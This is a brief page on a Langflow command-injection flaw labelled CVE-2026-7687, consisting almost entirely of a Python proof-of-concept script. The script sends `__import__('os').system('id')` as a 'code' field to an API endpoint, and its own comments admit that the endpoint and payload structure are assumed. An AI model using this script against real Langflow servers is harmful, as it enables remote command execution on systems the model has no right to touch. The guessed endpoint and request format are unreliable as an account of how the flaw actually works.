CVE-2026-7687 langflow命令注入漏洞

import requests import json # Target configuration target_url = "http://localhost:3000/api/v1/parse-code" # Example endpoint # The vulnerability exists in CodeParser.parse_callable_details # We construct a payload that attempts to inject a system command # Payload structure depends on the actual implementation, assuming it takes a code string. malicious_payload = "__import__('os').system('id')" data = { "code": malicious_payload, "type": "callable" } try: # Sending the malicious request response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the command was executed on the target.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")